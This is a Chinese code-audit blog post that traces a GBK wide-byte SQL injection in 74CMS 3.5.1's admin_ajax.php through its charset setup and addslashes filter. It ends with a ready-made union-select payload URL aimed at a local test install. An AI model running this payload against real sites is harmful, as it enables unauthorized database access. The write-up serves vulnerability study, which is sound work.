zoukankan      html  css  js  c++  java
  • 74cms_3.5.1 宽字节注入

            第一次进行CMS的代码审计,我选择了2014年发布的74CMS 3.5.1,历史比较久远的CMS往往存在更多的问题,虽然技术上难度不大,但是在思路方面给了我很大的启发。下面我根据我的思路给大家分享一下这次审计的流程。

           拿到CMS后,首先大致了解一下目录结构,进行一些功能上的猜测,随后我打开了index.php文件:

     1 if(!$smarty->is_cached($mypage['tpl'],$cached_id))
     2 {
     3 require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
     4 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
     5 unset($dbhost,$dbuser,$dbpass,$dbname);
     6 $smarty->display($mypage['tpl'],$cached_id);
     7 }
     8 else
     9 {
    10 $smarty->display($mypage['tpl'],$cached_id);
    11 }
    12 unset($smarty);

            在第三行包含了include/mysql.class.php文件,我们跟读这个文件发现了数据库连接函数:

     1     function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
     2         $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
     3         if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
     4             $this->dbshow('Can not connect to Mysql!');
     5         } else {
     6             if($this->dbversion() > '4.1'){
     7                 mysql_query( "SET NAMES gbk");
     8                 if($this->dbversion() > '5.0.1'){
     9                     mysql_query("SET sql_mode = ''",$this->linkid);
    10                     mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid);
    11                 }
    12             }
    13         }
    14         if($dbname){
    15             if(mysql_select_db($dbname, $this->linkid)===false){
    16                 $this->dbshow("Can't select MySQL database($dbname)!");
    17             }
    18         }
    19     }

            在这里做了一个判断,在MySQL版本>4.1时,执行 SET NAME gbk,在之前的文章中说过,这里大概率会出现宽字节注入漏洞,为了确定单引号如何转义,我们还需要再看一下过滤函数,这里的过滤函数位于/include/commen.fun.php中。

     1 function addslashes_deep($value)
     2 {
     3     if (empty($value))
     4     {
     5         return $value;
     6     }
     7     else
     8     {
     9         if (!get_magic_quotes_gpc())
    10         {
    11         $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
    12         }
    13         else
    14         {
    15         $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
    16         }
    17         return $value;
    18     }
    19 }

            这个函数是将变量使用addslashes()函数进行过滤,将'过滤为\’,满足宽字节注入的条件,到此我们可以正式确定存在宽字节注入漏洞。为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php

     1 elseif($act == 'get_jobs')
     2 {
     3     $type=trim($_GET['type']);
     4     $key=trim($_GET['key']);
     5     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
     6     {
     7     $key=iconv("utf-8",QISHI_DBCHARSET,$key);
     8     }    
     9     if ($type=="get_id")
    10     {
    11         $id=intval($key);
    12         $sql = "select * from ".table('jobs')." where id='{$id}'  LIMIT 1";
    13     }
    14     elseif ($type=="get_jobname")
    15     {
    16         $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%'  LIMIT 30";
    17     }
    18     elseif ($type=="get_comname")
    19     {
    20         $sql = "select * from ".table('jobs')." where companyname like '%{$key}%'  LIMIT 30";
    21     }
    22     elseif ($type=="get_uid")
    23     {
    24         $uid=intval($key);
    25         $sql = "select * from ".table('jobs')." where uid='{$uid}'  LIMIT 30";        
    26     }
    27     else
    28     {
    29     exit();
    30     }
    31         $result = $db->query($sql);
    32         while($row = $db->fetch_array($result))
    33         {
    34             $row['addtime']=date("Y-m-d",$row['addtime']);
    35             $row['deadline']=date("Y-m-d",$row['deadline']);
    36             $row['refreshtime']=date("Y-m-d",$row['refreshtime']);
    37             $row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);
    38             $row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);
    39             $info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];
    40         }
    41         if (!empty($info))
    42         {
    43         exit(implode('@@@',$info));
    44         }
    45         else
    46         {
    47         exit();
    48         }
    49 }

            这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的文章中提到过单引号被addslashes转义成为\',如果提交%df,那就会与\(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ \' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。到此我们可以构造payload了:

    http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

  • 相关阅读:
    容器网络(一)docker容器网络驱动
    双指针遍历/滑动窗口 —— 209_长度最小的子数组
    双指针遍历/滑动窗口 —— 121_买卖股票的最佳时机
    双指针遍历/滑动窗口 —— 42_接雨水
    双指针遍历/滑动窗口 —— 26_删除排序数组中的重复项
    双指针遍历/滑动窗口 —— 16_最接近的三数之和
    双指针遍历/滑动窗口 —— 15_三数之和
    双指针遍历/滑动窗口 —— 11_盛最多水的容器
    双指针遍历/滑动窗口 —— 3_无重复字符的最长子串
    链表操作 —— 206_反转链表
  • 原文地址:https://www.cnblogs.com/richardlee97/p/10550250.html
Copyright © 2011-2022 走看看